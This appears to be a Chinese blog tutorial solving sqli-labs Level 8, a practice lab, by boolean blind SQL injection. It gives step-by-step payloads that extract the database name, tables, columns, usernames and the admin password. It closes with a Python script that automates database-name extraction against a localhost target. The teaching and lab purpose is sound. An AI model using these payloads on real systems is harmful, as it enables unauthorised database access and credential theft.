sqli—labs第八關——布爾盲注

一:確定注入類型

按照我們之前的步驟來

輸入

?id=1' and '1'='1'--+
?id=1' and '1'='2'--+

界面正常?

?第二行界面異常空白

所以注入類型為單引號閉合型

二: 布爾盲注

1.判斷是否使用條件

(1):存在注入但不會直接顯示查詢結果

(2):頁面不會返回sql錯誤信息

(3):注入真假時,頁面會產生可觀察到的差異

比如這一關我們輸入

?id=1' and 1=1 --+  (返回"You are in...")
?id=1' and 1=2 --+  (頁面空白)

所以我們使用布爾盲注

二:開始攻擊

1.爆庫名長度

?id=1' and length(database())=1 --+ (無回顯)
?id=1' and length(database())=2 --+ 
...
?id=1' and length(database())=8 --+ (出現"You are in...")

ps:可以使用二分法提高效率

?id=1' and length(database())>4 --+ (有回顯)
?id=1' and length(database())>6 --+ (有回顯)
?id=1' and length(database())>8 --+ (無回顯)

?2.根據庫名長度爆庫名:

-- 第一位字符
?id=1' and substr(database(),1,1)='a' --+
...
?id=1' and substr(database(),1,1)='s' --+ (成功)-- 第二位字符
?id=1' and substr(database(),2,1)='a' --+
...
?id=1' and substr(database(),2,1)='e' --+ (成功)-- 使用ASCII碼提高效率
?id=1' and ascii(substr(database(),1,1))>115 --+
?id=1' and ascii(substr(database(),1,1))=115 --+ (s的ASCII碼)

3.對當前庫爆表的數量

?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 --+
...
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+ (成功)

?4.根據庫名和表數量爆表名長度

-- 第一個表長度
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1 --+
...
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+ (成功)-- 第二個表長度
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=8 --+ (成功)

5.?根據表名長度爆表名

-- 第一個表名(emails)
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e' --+
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)='m' --+
...-- 第二個表名(users)
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)='u' --+

6.?對表爆列數量(以users表為例)

?id=1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema=database())=3 --+ (成功)

7.?根據表名和列數量爆列名長度

-- 第一列長度
?id=1' and length((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1))=2 --+ (id)-- 第二列長度
?id=1' and length((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 1,1))=8 --+ (username)-- 第三列長度
?id=1' and length((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 2,1))=8 --+ (password)

8.?根據列名長度爆列名

-- 第一列名(id)
?id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='i' --+
?id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1)='d' --+-- 第二列名(username)
?id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)='u' --+

9.?根據列名爆數據值

-- 獲取第一個用戶的用戶名長度
?id=1' and length((select username from users limit 0,1))=4 --+ (Dumb)-- 獲取第一個用戶的用戶名
?id=1' and substr((select username from users limit 0,1),1,1)='D' --+
?id=1' and substr((select username from users limit 0,1),2,1)='u' --+-- 獲取第一個用戶的密碼
?id=1' and substr((select password from users limit 0,1),1,1)='D' --+-- 獲取管理員密碼
?id=1' and substr((select password from users where username='admin' limit 0,1),1,1)='a' --+

三:腳本優化

1.先在終端輸入python --version,會顯示python版本,建議3.6+

2.安裝resquests庫

pip install requests

3.創建腳本文件?

4

4.附上代碼

import requests
import timedef get_database_info():# 配置目標URL和請求頭base_url = "http://127.0.0.1/sqli-labs/Less-8/"headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ''(KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'}# 1. 獲取數據庫名長度(使用二分法優化)print("[*] 正在檢測數據庫名長度...")db_length = 0low, high = 1, 50  # 假設數據庫名長度在1-50之間while low <= high:mid = (low + high) // 2payload = f"1' AND (SELECT LENGTH(database())) > {mid} -- "response = requests.get(base_url, params={"id": payload}, headers=headers)if "You are in" in response.text:low = mid + 1else:high = mid - 1db_length = lowprint(f"[+] 數據庫名長度: {db_length}")# 2. 獲取數據庫名(優化后的逐字符檢測)print("[*] 正在破解數據庫名...")database_name = ""for position in range(1, db_length + 1):# 使用二分法查找每個字符low, high = 32, 126  # ASCII可打印字符范圍while low <= high:mid = (low + high) // 2payload = f"1' AND ASCII(SUBSTRING((SELECT database()), {position}, 1)) > {mid} -- "response = requests.get(base_url, params={"id": payload}, headers=headers)if "You are in" in response.text:low = mid + 1else:high = mid - 1if low <= 126:char = chr(low)database_name += charprint(f"[*] 進度: {database_name.ljust(db_length, '_')}", end="\r")time.sleep(0.1)  # 避免請求過快else:print(f"\n[!] 第{position}個字符檢測失敗")breakprint(f"\n[+] 數據庫名: {database_name}")return database_nameif __name__ == "__main__":try:print("=== SQL盲注自動化工具 ===")db_name = get_database_info()print("\n=== 操作完成 ===")except Exception as e:print(f"[!] 發生錯誤: {str(e)}")input("按任意鍵退出...")

???? 完結撒花!!????

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/83710.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/83710.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/83710.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

ARP 原理總結

&#x1f310; 一、ARP 原理總結 ARP&#xff08;Address Resolution Protocol&#xff09;是用于通過 IP 地址解析 MAC 地址的協議&#xff0c;工作在 鏈路層 與 網絡層之間&#xff08;OSI 模型的第三層與第二層之間&#xff09;。 &#x1f501; ARP通信過程&#xff1a; …

SpringCloud——EureKa

目錄 1.前言 1.微服務拆分及遠程調用 3.EureKa注冊中心 遠程調用的問題 eureka原理 搭建EureKaServer 服務注冊 服務發現 1.前言 分布式架構&#xff1a;根據業務功能對系統進行拆分&#xff0c;每個業務模塊作為獨立項目開發&#xff0c;稱為服務。 優點&#xff1a; 降…

機頂盒刷機筆記

疑難雜癥解決 hitool線刷網口不通tftp超時--》關閉防火墻cm201-2卡刷所有包提示失敗abort install--》找個卡刷包只刷fastboot分區再卡刷就能通過了&#xff08;cm201救磚包 (M8273版子&#xff09;&#xff09; 刷機工具 海兔燒錄工具HiTool-STB-5.3.12工具&#xff0c;需要…

Linux動靜態庫制作與原理

什么是庫 庫是寫好的現有的&#xff0c;成熟的&#xff0c;可以復用的代碼。現實中每個程序都要依賴很多基礎的底層庫&#xff0c;不可能每個人的代碼都從零開始&#xff0c;因此庫的存在意義非同尋常。 本質上來說庫是一種可執行代碼的二進制形式&#xff0c;可以被操作系統…

如何通過小智AI制作會說話的機器人玩具?

一、硬件準備與組裝 1. 核心硬件選擇 主控芯片&#xff1a;選擇支持無線網絡連接、音頻處理和可編程接口的嵌入式開發板 音頻模塊&#xff1a;配備拾音麥克風與小型揚聲器&#xff0c;確保語音輸入/輸出功能 顯示模塊&#xff1a;選擇適配的交互顯示屏用于可視化反饋 擴展模…

如何控制郵件發送頻率避免打擾用戶

一、用戶行為 監測用戶與郵件的互動數據&#xff0c;如打開率、點擊率下滑或退訂申請增多&#xff0c;可能是發送頻率過高的警示信號。利用郵件營銷平臺的分析工具&#xff0c;識別這些指標的變動趨勢&#xff0c;為調整提供依據。 二、行業特性與受眾差異 不同行業用戶對郵…

定積分的“偶倍奇零”性質及其使用條件

定積分的“偶倍奇零”性質是針對對稱區間上的奇偶函數積分的重要簡化方法。以下是其核心內容和應用要點&#xff1a; ?一、基本性質 ?偶函數&#xff08;偶倍&#xff09;? 若 f(x) 在 [?a,a] 上為偶函數&#xff08;即 f(?x)f(x)&#xff09;&#xff0c;則&#xff1a; …

如何在 Windows 11 或 10 上安裝 Fliqlo 時鐘屏保

了解如何在 Windows 11 或 10 上安裝 Fliqlo,為您的 PC 或筆記本電腦屏幕添加一個翻轉時鐘屏保以顯示時間。 Fliqlo 是一款適用于 Windows 和 macOS 平臺的免費時鐘屏保。它也適用于移動設備,但僅限于 iPhone 和 iPad。Fliqlo 的主要功能是在用戶不活動時在 PC 或筆記本電腦…

【C/C++】C++并發編程:std::async與std::thread深度對比

文章目錄 C并發編程&#xff1a;std::async與std::thread深度對比1 核心設計目的以及區別2 詳細對比分析3 代碼對比示例4 適用場景建議5 總結 C并發編程&#xff1a;std::async與std::thread深度對比 在 C 中&#xff0c;std::async 和 std::thread 都是用于并發編程的工具&am…

Axure疑難雜癥:垂直菜單展開與收回(4大核心問題與專家級解決方案)

親愛的小伙伴,在您瀏覽之前,煩請關注一下,在此深表感謝!如有幫助請訂閱專欄! Axure產品經理精品視頻課已登錄CSDN可點擊學習https://edu.csdn.net/course/detail/40420 課程主題:垂直菜單展開與收回 主要內容:超長菜單實現、展開與收回bug解釋、Axure9版本限制等問題解…

ASIC和FPGA,到底應該選擇哪個?

ASIC和FPGA各有優缺點。 ASIC針對特定需求&#xff0c;具有高性能、低功耗和低成本&#xff08;在大規模量產時&#xff09;&#xff1b;但設計周期長、成本高、風險大。FPGA則適合快速原型驗證和中小批量應用&#xff0c;開發周期短&#xff0c;靈活性高&#xff0c;適合初創企…

DAY 30 模塊和庫的導入

知識點回顧&#xff1a; 1.導入官方庫的三種手段 2.導入自定義庫/模塊的方式 3.導入庫/模塊的核心邏輯&#xff1a;找到根目錄&#xff08;python解釋器的目錄和終端的目錄不一致&#xff09; 作業&#xff1a;自己新建幾個不同路徑文件嘗試下如何導入 import math # 導入…

MyBatis:動態SQL

文章目錄 動態SQLif標簽trim標簽where標簽set標簽foreach標簽include標簽和sql標簽 Mybatis動態SQL的官方文檔&#xff1a; https://mybatis.net.cn/dynamic-sql.html 動態SQL 動態SQL是 MyBatis的強大特性之一,如果是使用JDBC根據不同條件拼接sql很麻煩&#xff0c;例如拼接…

Java - Junit框架

單元測試&#xff1a;針對最小的功能單元(方法)&#xff0c;編寫測試代碼對該功能進行正確性測試。 Junit&#xff1a;Java語言實現的單元測試框架&#xff0c;很多開發工具已經集成了Junit框架&#xff0c;如IDEA。 優點 編寫的測試代碼很靈活&#xff0c;可以指某個測試方法…

學生成績管理系統Java實戰(Spring Boot+MyBatis Plus)

文章目錄 一、系統需求分析&#xff08;避坑指南&#xff09;二、技術選型&#xff08;2024新版&#xff09;三、數據庫設計&#xff08;三大核心表&#xff09;1. 學生表&#xff08;student&#xff09;2. 課程表&#xff08;course&#xff09;3. 成績表&#xff08;score&a…

MySQL安裝實戰指南:Mac、Windows與Docker全平臺詳解

MySQL作為世界上最流行的開源關系型數據庫&#xff0c;是每位開發者必須掌握的基礎技能。本指南將手把手帶你完成三大平臺的MySQL安裝&#xff0c;從下載到配置&#xff0c;每個步驟都配有詳細說明和截圖&#xff0c;特別適合新手學習。 一、Mac系統安裝MySQL 1.1 通過Homebre…

多模態大語言模型arxiv論文略讀(七十九)

AIM: Let Any Multi-modal Large Language Models Embrace Efficient In-Context Learning ?? 論文標題&#xff1a;AIM: Let Any Multi-modal Large Language Models Embrace Efficient In-Context Learning ?? 論文作者&#xff1a;Jun Gao, Qian Qiao, Ziqiang Cao, Zi…

[Harmony]封裝一個可視化的數據持久化工具

1.添加權限 在module.json5文件中添加權限 // 聲明應用需要請求的權限列表 "requestPermissions": [{"name": "ohos.permission.DISTRIBUTED_DATASYNC", // 權限名稱&#xff1a;分布式數據同步權限"reason": "$string:distrib…

利用html制作簡歷網頁和求職信息網頁

前言 大家好&#xff0c;我是maybe。今天下午初步學習了html的基礎知識。做了兩個小網頁&#xff0c;一個網頁是簡歷網頁&#xff0c;一個網頁是求職信息填寫網頁。跟大家分享一波~ 說明:我不打算上傳圖片。所以如果有朋友按照我的代碼運行網頁&#xff0c;會出現一個沒有圖片…

Vue 3 實現后端 Excel 文件流導出功能(Blob 下載詳解)

&#x1f4a1; 本文以告警信息導出為例&#xff0c;介紹 Vue 3 中如何通過 Axios 調用后端接口并處理文件流&#xff0c;實現 Excel 自動下載功能。 &#x1f4d1; 目錄 一、前言 二、后端接口說明 三、前端實現思路 四、導出功能完整代碼 五、常見問題處理 六、效果展示 …